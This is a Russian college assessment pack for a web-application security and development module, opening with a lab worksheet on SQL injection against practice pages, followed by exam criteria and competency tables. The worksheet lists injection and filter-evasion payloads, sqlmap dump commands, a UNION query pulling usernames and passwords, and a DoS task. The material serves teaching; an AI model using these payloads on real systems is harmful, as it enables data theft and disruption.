http://www.test.app.com/index?id=1%22%23
http://www.test.app.com/index?id=1
http://www.test.app.com/index?id=1
http://www.test.app.com/index?id=1'
http://www.test.app.com/index?id=1'
http://www.pentesterlab.com/


 

 sqli/example1.php?name=root'%201=1%20— 

 sqli/example1.php?name=root'%201=1%20/* 

 sqli/example1.php?name=root'%20'1'='1 

 sqli/example1.php?name=root'%20'1'='2 

 sqli/example1.php?name=root'%23sqli 

Последние три запроса позволяют сделать вывод об уязвимости параметра 

name к атаке SQL-injection. Выполнить следующую команду:# python sqlmap.py -p 

name —dmbs=mysql —dump -u http://IP address/sqli/example1.php?name=root 

Просмотреть результаты работы программы, просмотреть полученные 

данные из базы данных. 

Шаг 2. Перейти по ссылке «SQL injections ^ Example 2». Проанализировать 

логику функционирования веб-приложения. Последовательно ввести следующие 

запросы, обращая внимание на вывод веб-приложения, сделать предположение о 

структуре используемого SQL-запроса: 

 sqli/example2.php?name=root%20and%201=1 

 sqli/example2.php?name=root'%09and%09'1'='1 

 sqli/example2.php?name=root'%09and%09'1'='2 

 sqli/example2.php?name=root'%2b%2b' 

Последние три запроса позволяют сделать вывод об уязвимости параметра 

name к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он 

не смог идентифицировать уязвимый параметр. 

Шаг 3. Перейти по ссылке «SQL injections ^ Example 3». Проанализировать 

логику функционирования веб-приложения. Последовательно ввести следующие 

запросы, обращая внимание на вывод веб-приложения, сделать предположение о 

структуре используемого SQL-запроса: 

 sqli/example3.php?name=root%20and%201=1 

 sqli/example3.php?name=root'/**/and/**/'1'='1 

 sqli/example3.php?name=root'/**/and/**/'1'='2 

 sqli/example3.php?name=root'%2b%2b' 

Последние три запроса позволяют сделать вывод об уязвимости параметра 

name к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он 

не сможет идентифицировать уязвимый параметр. 

Шаг 4. Перейти по ссылке «SQL injections ^ Example 4». Проанализировать 

логику функционирования веб-приложения. Последовательно ввести следующие 

запросы, обращая внимание на вывод веб-приложения, сделать предположение о 

структуре используемого SQL-запроса: 

 sqli/example4.php?id=2 

 sqli/example4.php?id=2' 

 sqli/example4.php?id=2" 

 sqli/example4.php?id=1%2b1 

 sqli/example4.php?id=0%2b2 

 sqli/example4.php?id=3-1 

Последние три запроса позволяют сделать вывод об уязвимости параметра 

id к атаке SQL-injection. Выполнить следующую команду: 

http://ip/


 

 python sqlmap.py -p id —dmbs=mysql —dump -u http://IP 

address/sqli/example4.php?id=1 

Просмотреть полученные данные из базы данных. Просмотреть исходный 

код PHP-сценария. 

Шаг 5. Перейти по ссылке «SQL injections — Example 5». Проанализировать 

логику функционирования веб-приложения. Последовательно ввести следующие 

запросы, обращая внимание на вывод веб-приложения, сделать предположение о 

структуре используемого SQL-запроса: 

 sqli/example5.php?id=2 

 sqli/example5.php?id=2' 

 sqli/example5.php?id=2" 

 sqli/example5.php?id=1%2b1 

 sqli/example5.php?id=0%2b2 

 sqli/example5.php?id=3-1 

Последние три запроса позволяют сделать вывод об уязвимости параметра 

id к атаке SQL-injection. Выполнить следующую команду: 

 python sqlmap.py -p id —dmbs=mysql —dump -u http://IP 

address/sqli/example5.php?id=1 

Просмотреть полученные данные из базы данных. Просмотреть исходный 

код PHP-сценария. 

Шаг 6. Перейти по ссылке «SQL injections — Example 5». Проанализировать 

логику функционирования веб-приложения. 

Последовательно ввести следующие запросы, обращая внимание на вывод 

веб-приложения, сделать предположение о структуре используемого SQL-

запроса: 

 sqli/example6.php?id=2 

 sqli/example6.php?id=2' 

 sqli/example6.php?id=2" 

 sqli/example6.php?id=1%2b1 

 sqli/example6.php?id=0%2b2 

 sqli/example6.php?id=3-1 

 sqli/example6.php?id=5-3 

Последние три запроса позволяют сделать вывод об уязвимости параметра 

id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не 

может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-

сценария. 

Шаг 7. Перейти по ссылке «SQL injections ^ Example 5». Проанализировать 

логику функционирования веб-приложения. Последовательно ввести следующие 

запросы, обращая внимание на вывод веб-приложения, сделать предположение о 

структуре используемого SQL-запроса: 

 sqli/example7.php?id=2 

 sqli/example7.php?id=2' 

 sqli/example7.php?id=2" 

 sqli/example7.php?id=1%2b1 

http://ip/
http://ip/


 

 sqli/example7.php?id=3-1 

 sqli/example7.php?id=2%0Aand%201=1 

 sqli/example7.php?id=2%0Aand%201=2 

 sqli/example7.php?id=2%0A%23sqli 

Последние три запроса позволяют сделать вывод об уязвимости параметра 

id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не 

может проэксплуатировать уязвимый параметр. Выполнить следующие запросы 

для извлечения данных из СУБД: 

 sqli/example7.php?id=2%0Aunion%20select%201 

 sqli/example7.php?id=2%0Aunion%20select%201,2 

 sqli/example7.php?id=2%0Aunion%20select%201,2,3 

 sqli/example7.php?id=2%0Aunion%20select%201,2,3,4 

 sqli/example7.php?id=2%0Aunion%20select%201,2,3,4, 

5 

 sqli/example7.php?id=2%0Aunion%20select%20name, passwd,1,1,1 from users 

Ручными методами получить данные из базы данных. Просмотреть 

исходный код PHP-сценария. 

Вопросы и задания 

 С помощью программы sqlmap идентифицировать уязвимый к атаке SQL-

injection параметр и получить содержимое СУБД в случае, когда веб-приложение 

запрещает использование пробелов во входных данных. 

 Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании 

веб-приложения, уязвимого к атаке SQL-injection. 

 Для веб-приложения, уязвимого к атаке SQL-injection и использующего для 

хранения данных СУБД MySQL, получить содержимое служебной базы данных 

INFORMATION_SCHEMA. 
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Паспорт контрольно-измерительных материалов для проведения 

промежуточной аттестации по курсу МДК. 09.03. Обеспечение безопасности веб-

приложений  

Область применения  

Контрольно-измерительные материалы для проведения промежуточной 

аттестации по курсу МДК. 09.03. Обеспечение безопасности веб-приложений 

предназначены для проверки результатов освоения умений и усвоения знаний в 

соответствии с программой профессионального модуля ПМ.09. Проектирование, 

разработка и оптимизация веб-приложений. 

Условия выполнения задания 

Экзамен проводится в форме выполнения практического задания. В билете 

содержится одно практическое задание, выполнение которого требует наличия 

практического опыта работы с инструментальным и прикладным программным 

обеспечением, а также соответствующих знаний. Каждому студенту выдается 

свой вариант.  

Место проведения промежуточной аттестации – компьютерный класс. 

Используемое оборудование – персональный компьютер с установленным 

прикладным программным обеспечением и набором специализированных 

программ. 

Максимальное время выполнения заданий билета – 120 мин.  

 

Примеры практических задач 

 

1. Выполнить сбор информации о вебприложении. 

2. Выполнить тестирование защищенности механизма управления 

доступом исследуемого веб-приложения 

3. Провести тестирование на устойчивость к атакам отказа в 

обслуживании 

4. Выполнить тестирование устойчивости веб-приложения к DoS-атакам 

на уровне протокола HTTP. 

5. Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS 

6. Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-

injection. 

 

 

 

 



 

Таблица 1- Типовые практические  задания для проведения промежуточной 

аттестации  

Типовое задание 

Коды проверяемых 

результатов 

У Зн 

Практическое задание № 1 – Выполнить сбор 

информации о вебприложении. 

 

У3 З3 

 

2. Критерии оценки 

Количественная оценка 

Таблица 2- Критерии количественной оценки 

Действия 
Выполнил (максимально 

50 баллов) 

Выполнение практического задания № 1  

Правильность выбора инструментария для решения 

практической задаи 

Полнота отчета 

Самостоятельность выполнения задания 

Ответы на дополнительные вопросы 

50 баллов 

10 баллов 

25 баллов 

10 баллов 

5 баллов 

Итоговое количество баллов: 50 

5 «отлично» 41-50 баллов 

4 «хорошо» 31-40 балла 

3 «удовлетворительно» 21-30 баллов 

2 «неудовлетворительно» 0-20 баллов 

 

Качественная оценка 

 

Оценка «5» выставляется в том случае, если студент продемонстрировал 

высокий уровень знании и умений по заданиям билета, обосновал выбор 

используемого программного обеспечения для решения практических задач. 

Студентом могут быть допущены недочеты при выполнении практических 

заданий, исправленные студентом самостоятельно в процессе обоснования. 

Оценка «4» выставляется в том случае, если студент продемонстрировал 

понимание основного содержания заданий билета. Студентом могут быть 



 

допущены 1 ошибка и недочеты при выполнении заданий, исправленные 

студентом с помощью преподавателя. 

Оценка «3» выставляется в том случае, если студент продемонстрировал 

понимание основного содержания билета, но допустил 2-3 ошибки при  

выполнении практических заданий. Могут быть допущены 2-3 неточности или 

незначительные ошибки, исправленные студентом с помощью преподавателя. 

Оценка «2» выставляется в том случае, если студент не продемонстрировал  

понимание основного содержания билета. Практическое задание не выполнены. 



 

 

4 Оценка по учебной и производственной практике 

4.1. Общие положения 

Целью оценки по учебной и (или) производственной практике является 

оценка:  

1) профессиональных и общих компетенций;  

2) практического опыта и умений. 

4.2.  Учебная практика 

Контроль и оценка результатов освоения учебной практики осуществляется в 

процессе учебных занятий, самостоятельного выполнения обучающимися заданий, 

выполнения практических проверочных работ. 

В результате освоения учебной практики в рамках освоения профессионального 

модуля обучающиеся проходят промежуточную аттестацию в форме 

дифференцированного зачета. Результатом которого является оценка.  Промежуточная 

аттестация заносится в зачетную ведомость по учебной практике. Формой 

дифференцированного зачета является устный ответ на поставленный вопрос. 

4.2.1. Виды работ по учебной практике и проверяемые результаты обучения по 

профессиональному модулю 

Виды работ  Коды проверяемых результатов 

ПК ОК ПО, У 
1. Разработка клиентской части 

сайта с использованием JavaScript 

и JQuery 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

2. Разработка серверной части сайта 

с использованием PHP и MySQL 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

3. Обеспечение информационной 

безопасности веб-проекта. 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

4. Подготовительные работы: общий 

аудит сайта, анализ конкурентной 

среды, создание резервной копии 

сайта 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

5. Внутренняя SEO оптимизация 

сайта 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

6. Составление семантического ядра ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

7. Кластеризация ключевых слов и 

составление карты релевантности 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

8. Поиск и устранение дублей сайта, 

оптимизация основных тегов, 

поиск и удаление битых ссылок 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

9. Очистка и оптимизация кода для 

ускорения загрузки сайта 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

10. Оптимизация изображений Alt, 

Title для рисунков 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

11. Контент-маркетинг ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 
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Контрольно-оценочное средство по 

  
УП 09 ПРОЕКТИРОВАНИЕ, РАЗРАБОТКА И ОПТИМИЗАЦИЯ ВЕБ-

ПРИЛОЖЕНИЙ 

Форма промежуточной аттестации: Дифференцированный зачет 

Тип контрольного задания: Устный ответ 

 

Критерии оценки 

Оценка Критерии 

«Отлично» - 5 1. дан полный ответ на основе изученных теорий; 

2. материал понят и осознан; 

3. материал изложен в определенной логической последовательности 

литературным языком; 

4.ответ самостоятельный. 

«Хорошо» - 4 1. дан правильный ответ на основе изученных теорий; 

2. материал понят и осознан; 

3. материал изложен в определенной  логической последовательности 

литературным языком; 

4. допущены 2-3 несущественные ошибки, исправленные по требованию 

преподавателя, или некоторая неполнота ответа, шероховатость в изложении 

материала. 

«Удовлетворительно» - 3 1. материал в основном изложен полно, но при этом допущены 1-2 

существенные ошибки; 

2. ответ неполный, построен несвязно, с помощью наводящих вопросов 

преподавателя. 

«Неудовлетворительно» - 2 ответ обнаруживает незнание или непонимание большей и наиболее 

существенной части учебного материала 

Составитель: 
Клочева Е.А.  преподаватель дисциплин  

общепрофессионального и 

профессионального цикла 

   

Сыктывкар,  2021 

Проверяемые результаты обучения:  ОК 01 – 10, ПК 01 – 10, ПО 01 - 04, У 01 - 03 



 

 

Вопросы для дифференцированного зачета 

 

1. Работа с файловой системой  

2.  Основы работы с базами данных  

3. Связь с базами данных MySQL  

4. Объектно-ориентированное программирование на PHP  

5. Сокеты и сетевые функции  

6. Язык сценариев JavaScript.  

7. Объектно-ориентированное программирование  

8. Инструменты и методы выявления требований  

9. Типовые решения по разработке веб-приложений  

10. Нормы и стандарты оформления технической документации  

11. Проведение анкетирования. Проведение интервьюирования  

12. Оформление технической документации  

13. Выбор одного из типовых решений 

14. Работа со специализированным программным обеспечением для планирования времени и 

организации работы с клиентами  

15. Языки программирования и разметки для разработки клиентской и серверной части веб-

приложений  

16. Принципы работы объектной модели веб-приложений и браузера  

17. Основные технологии клиент-сервер  

18. Особенности отображения веб-приложений в размерах рабочего пространства устройств 

19.  Особенности отображения элементов ИР в различных браузерах  

20. Особенности выбранной среды программирования и системы управления базами данных  

21. Разработка программный код клиентской и серверной части вебприложений 

 

 

 

 

 

 

 

 

 

 



 

4.3. Производственная практика 

Оценка по производственной практике выставляется на основании аттестационного 

листа с указанием видов работ, выполненных обучающимися во время практики, их 

объема, качества выполнения в соответствии с технологией и требованиями 

организации, в которой проходила практика и отчета по практике. 

Отчет по производственной практике проводится по завершению освоения рабочей 

учебной программы по производственной практике в форме представления отчета 

студентами техникума и его защиты. Защита отчета может проводиться как в виде 

презентаций, так и в форме устного выступления.  

В качестве приложения к отчету по практике обучающийся оформляет 

графические, аудио-, фото-, видео-, материалы, наглядные образцы изделий, 

подтверждающие практический опыт, полученный на практике 

4.3.1. Виды работ по производственной практике и проверяемые результаты 

обучения по профессиональному модулю 

Виды работ  Коды проверяемых результатов 

ПК ОК ПО, У 

Работы по продвижению веб-проекта 

в сети интернет. 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

Поиск и ликвидация уязвимостей 

сайта 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

Проведение работ по оптимизации 

веб-сайта 

ПК 9.1 – ПК 9.10 ОК 01 - 10 ПО 01- 04, У 01 - 03 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

 

 

 Государственное профессиональное образовательное учреждение 

«Сыктывкарский лесопромышленный техникум» 

 

«Сыктывкарса вӧр промышленносьт техникум» 

уджсикасӧ велӧдан канму учреждение 

 
 

РАССМОТРЕНО 

на заседании МК  

«Профессионального цикла»  

Протокол № 1 от «31» августа 2020 г. 

Председатель МК_________ Исакова О.В.        

 УТВЕРДЖАЮ:                                                                                                           

Зам. директора 

______________ М.А. Арцер 

 «31» августа  2020 г. 

 

 

Контрольно-оценочное средство по 
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Форма промежуточной аттестации: Экзамен по модулю 
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Критерии оценки 
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балл 
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Задание Сумма 
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баллов по модулям 

задания 

0,00% - 
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20,00% - 
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Составитель: 
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Проверяемые результаты обучения:  ОК  01 - 10, ПК 9.1. 9.10  ПО 1-4, У 1-3 

 



 

 

I. ПАСПОРТ 

 

КОС предназначен для контроля и оценки результатов освоения  

Контрольно-оценочные материалы для экзамена по модулю 

1. Экзамен (квалификационный) предназначен для контроля и оценки результатов 

освоения профессионального модуля  

ПМ.09 ПРОЕКТИРОВАНИЕ, РАЗРАБОТКА И ОПТИМИЗАЦИЯ ВЕБ-

ПРИЛОЖЕНИЙ 

 

Программы подготовки квалифицированных рабочих и служащих  (ППКРС) СПО 

программы подготовки специалистов среднего звена по специальности 

09.02.07 «Информационные системы и программирование» 

Экзамен проводится по завершению изучения программы профессионального 

модуля.  

Экзамен состоит из трех модулей: 

1) Защита отчета по производственной практике – 6 часов 

2) Практический модуль №1 – 6 часов 

3) Практический модуль №2 – 6 часов 

Экзамен может проводиться на базовом предприятии, в мастерских и лабораториях 

техникума.   

Итогом проверки освоения программы профессионального модуля является 

однозначное решение: «вид профессиональной деятельности «освоен, / не освоен». 

При выставлении оценки учитывается роль оцениваемых показателей для 

выполнения вида профессиональной деятельности, освоение которого проверяется. При 

отрицательном заключении хотя бы по одному показателю оценки результата освоения 

профессиональных компетенций принимается решение «вид профессиональной 

деятельности не освоен».  

 

Профессиональные компетенции Показатели оценки 

результата 

Оценка (да/нет) 

ПК 9.1 Разрабатывать техническое 

задание на веб-приложение в 

соответствии с требованиями 

заказчика 

Осуществлять сбор 

предварительных данных для 

выявления требований к веб-

приложению. 

Определять первоначальные 

требования заказчика к веб-

приложению и возможности 

их реализации. 

Подбирать оптимальные 

варианты реализации задач и 

согласование их с заказчиком. 

Оформлять техническое 

задание. 

 

ПК 9.2 Разрабатывать веб-приложение в 

соответствии с техническим 

заданием 

Выполнять верстку страниц 

веб-приложений. 

Кодировать на языках веб-

программирования. 



 

Разрабатывать базы данных. 

Использовать специальные 

готовые технические решения 

при разработке веб-

приложений. 

Выполнять разработку и 

проектирование 

информационных систем. 

ПК 9.3 Разрабатывать интерфейс 

пользователя веб-приложений в 

соответствии с техническим 

заданием 

Разрабатывать интерфейс 

пользователя. 

Разрабатывать анимационные 

эффекты 

ПК 9.4 Осуществлять техническое 

сопровождение и восстановление 

веб-приложений в соответствии с 

техническим заданием 

Устанавливать и настраивать 

веб-серверы, СУБД для 

организации работы веб-

приложений. 

Использовать 

инструментальные средства 

контроля версий и баз данных. 

Проводить работы по 

резервному копированию веб-

приложений. 

Выполнять регистрацию и 

обработку запросов Заказчика 

в службе технической 

поддержки. 

ПК 9.5 Производить тестирование 

разработанного веб приложения 

Использовать 

инструментальные средства 

контроля версий и баз данных, 

учета дефек-тов. 

Тестировать веб-приложения 

с точки зрения логической 

целостности. 

Тестировать интеграцию веб-

приложения с внешними 

сервисами и учетными 

система-ми. 

ПК 9.6 Размещать веб приложения в 

сети в соответствии с 

техническим заданием 

Публиковать веб-приложения 

на базе хо-стинга в сети 

Интернет 

ПК 9.7 Осуществлять сбор 

статистической информации о 

работе веб-приложений для 

анализа эффективности его 

работы 

Реализовывать мероприятия 

по продвиже-нию веб-

приложений в сети Интернет. 

Собирать и предварительно 

анализировать 

статистическую информацию 

о работе веб-приложений. 

ПК 9.8 Осуществлять аудит 

безопасности веб-приложения в 

соответствии с регламентами по 

безопасности 

Обеспечивать безопасную и 

бесперебойную работу. 

ПК 9.9 Модернизировать веб-

приложение с учетом правил и 

норм подготовки информации 

для поисковых систем. 

Модернизировать веб-

приложения с учетом правил 

и норм подготовки 

информации для поисковых 

систем. 

ПК 

9.10 

Реализовывать мероприятия по 

продвижению веб-приложений в 

сети Интернет 

Реализовывать мероприятия 

по продвиже-нию веб-

приложений в сети Интернет. 

Собирать и предварительно 



 

анализировать 

статистическую информацию 

о работе веб-приложений. 

 

Общие 

компетенции 

Показатели оценки результата Оценка (да/нет) 

ОК 1. Выбирать 

способы решения 

задач 

профессиональной 

деятельности, 

применительно к 

различным 

контекстам 

 - распознавать задачу и/или проблему в 

профессиональном и/или социальном контексте; 

анализировать задачу и/или проблему и выделять 

её составные части; определять этапы решения 

задачи; выявлять и эффективно искать 

информацию, необходимую для решения задачи 

и/или проблемы; составить план действия; 

определить необходимые ресурсы; 

владеть актуальными методами работы в 

профессиональной и смежных сферах; 

реализовать составленный план; оценивать 

результат и последствия своих действий 

(самостоятельно или с помощью наставника) 

 

ОК 2. 

Осуществлять поиск, 

анализ и 

интерпретацию 

информации, 

необходимой для 

выполнения задач 

профессиональной 

деятельности 

- определять задачи для поиска информации; 

определять необходимые источники 

информации; планировать процесс поиска; 

структурировать получаемую информацию; 

выделять наиболее значимое в перечне 

информации; оценивать практическую 

значимость результатов поиска; оформлять 

результаты поиска. 

ОК 3. 

Планировать и 

реализовывать 

собственное 

профессиональное и 

личностное развитие. 

- определять актуальность нормативно-правовой 

документации в профессиональной деятельности; 

применять современную научную 

профессиональную терминологию; определять и 

выстраивать траектории профессионального 

развития и самообразования 

ОК 4. Работать в 

коллективе и 

команде, эффективно 

взаимодействовать с 

коллегами, 

руководством, 

клиентами. 

- находить и использовать информацию для 

эффективного выполнения профессиональных 

задач, профессионального и личностного 

развития. 

ОК 5. 

Осуществлять 

устную и 

письменную 

коммуникацию на 

государственном 

языке с учетом 

особенностей 

социального и 

культурного 

контекста. 

- грамотно излагать свои мысли и оформлять 

документы по профессиональной тематике на 

государственном языке, проявлять 

толерантность в рабочем коллективе 

ОК 6. Проявлять 

гражданско-

патриотическую 

позицию, 

демонстрировать 

осознанное 

поведение на основе 

- описывать значимость своей специальности 



 

традиционных 

общечеловеческих 

ценностей. 

ОК 7. 

Содействовать 

сохранению 

окружающей среды, 

ресурсосбережению, 

эффективно 

действовать в 

чрезвычайных 

ситуациях. 

- соблюдать нормы экологической безопасности; 

определять направления ресурсосбережения в 

рамках профессиональной деятельности по 

специальности 

ОК 8. 

Использовать 

средства физической 

культуры для 

сохранения и 

укрепления здоровья 

в процессе 

профессиональной 

деятельности и 

поддержания 

необходимого уровня 

физической 

подготовленности 

- использовать физкультурно-оздоровительную 

деятельность для укрепления здоровья, 

достижения жизненных и профессиональных 

целей; применять рациональные приемы 

двигательных функций в профессиональной 

деятельности; пользоваться средствами 

профилактики перенапряжения характерными для 

данной специальности 

ОК 9. 

Использовать 

информационные 

технологии в 

профессиональной 

деятельности 

- применять средства информационных 

технологий для решения профессиональных 

задач; использовать современное программное 

обеспечение 

ОК 10 . Пользоваться 

профессиональной 

документацией на 

государственном и 

иностранном языках. 

  

- понимать общий смысл четко произнесенных 

высказываний на известные темы 

(профессиональные и бытовые), понимать тексты 

на базовые профессиональные темы; участвовать 

в диалогах на знакомые общие и 

профессиональные темы; строить простые 

высказывания о себе и о своей профессиональной 

деятельности; кратко обосновывать и объяснить 

свои действия (текущие и планируемые); писать 

простые связные сообщения на знакомые или 

интересующие профессиональные темы 

 



 

Перечень знаний, умений, навыков в соответствии, проверяемый в рамках 

экзамена по модулю. 

Раздел Важность 

(%) 

1 Организация работы и управление 2 

 
Специалист должен знать и понимать: 

• Принципы и практики, которые позволяют 

продуктивно работать в команде; 

• Аспекты систем, которые позволяют повысить 

продуктивность и выработать оптимальную стратегию; 

• Как проявить инициативу и предприимчивость в целях 

выявления, анализа и оценивания информации из различных 

источников; 

 

 Специалист должен уметь: 

• Решать распространенные задачи веб-дизайна и 

разработки кода; 

• Учитывать временные ограничения и сроки; 

• Производить отладку кода программ и находить 

ошибки; 

• Использовать компьютер или устройство и целый ряд 

программных пакетов; 

• Применять исследовательские приемы и навыки, чтобы 

быть в курсе последних отраслевых решений; 

• Планировать график рабочего дня с учетом 

требований; 

 

 
• Включать ссылки на изображения, шрифты и др. 

файлы при архивации данных; 

• Использовать систему контроля версий. 

 

2 

Коммуникационные и межличностные навыки 

2 

 

Специалист должен знать и понимать: 

• Способы решения возникающих проблем, анализ 

проблемной ситуации возникшей в ходе решения 

профессиональных задач, пути их решения с учетом 

этических норм и правил, опираясь на профессиональную 

этику; 

• Принципы, лежащие в основе сбора и представления 

информации; 

• Дизайн-концепции и техники, в том числе черновое 

макетирование страниц (wireframing), объектно-событийное 

моделирование (storyboarding) и создание блок-схем; 

• английский язык в рамках чтения и понимания 

официальной технической документации по используемым 

технологиями и языкам программирования. 

 



 

 Специалист должен уметь: 

• Представить свой продукт, который отвечает 

требованиям клиента и спецификации; 

• Собирать, анализировать и оценивать информацию; 

• Использовать навыки грамотности для толкования 

стандартов и требований; 

• Анализировать и применять современные отраслевые 

стандарты; 

• Планировать и организовывать общение с клиентом; 

• Критиковать свои проекты и идеи. 

 

3 

Графический дизайн веб-страниц 

10 

 Специалист должен знать и понимать: 

• Структуру и общепринятые элементы веб-страниц 

различных видов и назначений; 

• Вопросы, связанные с когнитивными, социальными, 

культурными, технологическими и экономическими 

условиями при разработке дизайна; 

• Как создавать и оптимизировать графику для сети 

Интернет; 

• Как создавать дизайн по предоставляемым 

инструкциям и спецификациям; 

• Как производить выбора цвета, работать с 

типографикой и композицией; 

• Принципы и методы адаптации графики для 

использования ее на веб-сайтах; 

• Правила поддержания фирменного стиля, бренда и 

стилевых инструкций; 

• Ограничения, которые накладывают мобильные 

устройства и разрешения экранов при использовании их для 

просмотра веб-сайтов; 

• Принципы построения эстетичного и креативного 

дизайна; 

• Современные стили и тенденции дизайна. 

 



 

 

Специалист должен уметь: 

• Создавать и анализировать разработанные визуальные 

ответы на поставленные вопросы, в том числе об иерархии, 

типографики, эстетики и композиции; 

• Создавать, использовать и оптимизировать 

изображения для веб-сайтов; 

• Анализировать целевой рынок и продукцию, которую 

продвигает, используя дизайн; 

• Выбирать дизайнерское решение, которое будет 

наиболее подходящим для целевого рынка; 

• Принимать во внимание влияние каждого элемента, 

который добавляется в проект во время разработки дизайна; 

• Использовать все требуемые элементы при разработке 

дизайна; 

• Учитывать существующие правила корпоративного 

стиля; 

• Создавать «отзывчивый» дизайн, который будет 

отображаться корректно на различных устройствах и при 

разных разрешениях; 

• Придерживаться оригинальной концепции дизайна 

проекта и улучшать его визуальную привлекательность; 

• Превращать идею в эстетичный и креативный дизайн. 

 

4 

Верстка страниц 

10 

 Специалист должен знать и понимать: 

• Методы обеспечения доступа к страницам веб-сайтов 

аудитории с ограниченными возможностями; 

• World Wide Web Consortium (W3C) стандарты HTML и 

CSS; 

• Методы верстки веб-сайтов и их стандартную 

структуру; 

• Web accessibility initiative (WAI) стандарт доступности 

активных Интернет-приложений для людей с ограниченными 

возможностями; 

• Как применять соответствующие CSS правила и 

селекторы для получения ожидаемого результата; 

• Лучшие практики для Search Engine Optimization (SEO) 

и интернет-маркетинга; 

• Как встраивать и интегрировать анимацию, аудио, 

видео и другую мультимедийную информацию, управлять 

поведением остальных элементов на странице; 

• Как использовать предпроцессоры. 

 

 

Специалист должен уметь: 

• Создавать html-страницы сайта на основе 

предоставленных графических макетов их дизайна; 

• Корректно использовать CSS для обеспечения единого 

дизайна в разных браузерах; 

• Создавать адаптивные веб-страницы, которые 

способны оставаться функциональными на различных 

устройствах при разных разрешениях; 

• Создавать веб-сайты полностью соответствующие 

текущим стандартам W3C (http://www.w3.org); 

• Создавать и модифицировать сайты с учетом Search 

Engine Optimization. 

 

5 Программирование на стороне клиента 10 

 Специалист должен знать и понимать: 

• Клиентский языка программирования JavaScript; 

• Принципы, особенности и способы использования 

открытых фреймворков; 

• Принципы разработка кода с использованием открытых 

библиотек; 

• Синтаксис и симантику языка, построение грамотного 

и структурированного кода; 

• Как взаимодействовать с объектной моделью 

документа (DOM). 

 

http://www.w3.org/


 

 Специалист должен уметь: 

• Разрабатывать анимацию для повышения его 

доступности и визуальной привлекательности; 

• создавать и модифицировать JavaScript код для 

улучшения функциональности и интерактивности сайта; 

• Применять открытые библиотеки. 

• Разрабатывать полноценные веб приложения для 

возможности использования их в различных областях 

деятельности 

 

6 Программирование на стороне сервера 10 

 Специалист должен знать и понимать: 

• Как разрабатывать PHP, Python, Node.js код на 

процедурном и объектно-ориентированном уровнях; 

• Как использовать открытые библиотеки и Фреймворки; 

• Распространенные модели организации и хранении 

данных и реализацию их с применением SQL подобных баз 

данных; 

• FTP (File Transfer Protocol), особенности использования 

его на стороне сервера и клиента, а также необходимое для 

этого программное обеспечение; 

• SSH, производить удалённое управление операционной 

системой и настройку необходимых служб 

• Как разрабатывать веб-сервисы с применением PHP, 

Python, Node.js, XML (Extensible Markup Language) и JSON; 

• Различные методы программирования; 

• Как разрабатывать программный код в соответствии с 

паттернами (например, MVC (Model View Controller); 

• Как разрабатывать безопасное веб-приложение. 

 

 
Специалист должен уметь: 

• Создавать библиотеки и модули для выполнения 

повторяющихся задач; 

• Разрабатывать веб-приложения с доступом к базе 

данных SQL подобных баз данных 

• и веб-сервисы по требованиям клиента; 

• Интерпретировать ER (Entity-Relationship) диаграммы в 

функционирующую базу данных; 

 

 

II. ЗАДАНИЕ ДЛЯ ЭКЗАМЕНУЮЩЕГОСЯ    

 

2.1. Модуль 1: Защита отчета по производственной практике. Время 

проведения: 6 часов 

 

При оценивании качества прохождения практики учитывается: 

 оценка в аттестационном листе уровня приобретённого практического опыта 

и профессиональных умений при выполнении работ на практике; 

 положительная характеристика об освоении общих компетенций при 

выполнении работ на практике; 

 качество выполнения дневника-отчета о практике в соответствии с 

требованиями профессионального образовательного учреждения. 



 

 качество выполнения практических заданий, соответствующих по 

содержанию виду профессиональной деятельности и рабочей программы 

практики. 

Оценка за отчет по практике определяется как средний балл за представленные 

материалы с практики, защиту дневника-отчета и практические задания. Итоговая 

оценка выставляется по 5-ти балльной шкале и заносится в ведомость. 

Оценки за защиту дневника-отчета осуществляется в соответствии с критериями, 

приведенными в таблице «Критерии оценки» 

Таблица   - Критерии оценки 

Показатели 

оценки 

Оценка 
Критерии оценки 

Качество 

заполнения 

дневника/ отчета по 

учебной практике, в 

соответствии с 

требованиями 

образовательного 

учреждения. 

Защита дневника/ 

отчета по учебной 

практике. 

 

«5» (отлично)  соответствие содержания отчета 

программе прохождения практики – отчет 

собран в полном объеме; 

 структурированность (четкость, 

нумерация страниц, подробное 

оглавление отчета); 

 отчет оформлен в соответствии с 

Методическими рекомендациями к 

составлению отчета по практике; 

 не нарушены сроки сдачи отчета; 

 студентом предъявлен оптимальный 

объем умений и практического опыта; 

  студент демонстрирует знание 

нормативных документов; 

 без затруднения отвечает на 

дополнительные вопросы. 

 

«4» (хорошо) 

 

 соответствие содержания отчета 

программе прохождения практики – отчет 

собран в полном объеме; 

 не везде прослеживается 

структурированность (четкость, 

нумерация страниц, подробное оглавление 

отчета); 

 отчет оформлен в соответствии с 

Методическими рекомендациями к 

составлению отчета по практике; 

 не нарушены сроки сдачи отчета; 

 студентом предъявлен оптимальный 

объем умений и практического опыта; 

 демонстрирует знание нормативных 

документов. 

«3» 

(удовлетворительн

о) 

 соответствие содержания отчета 

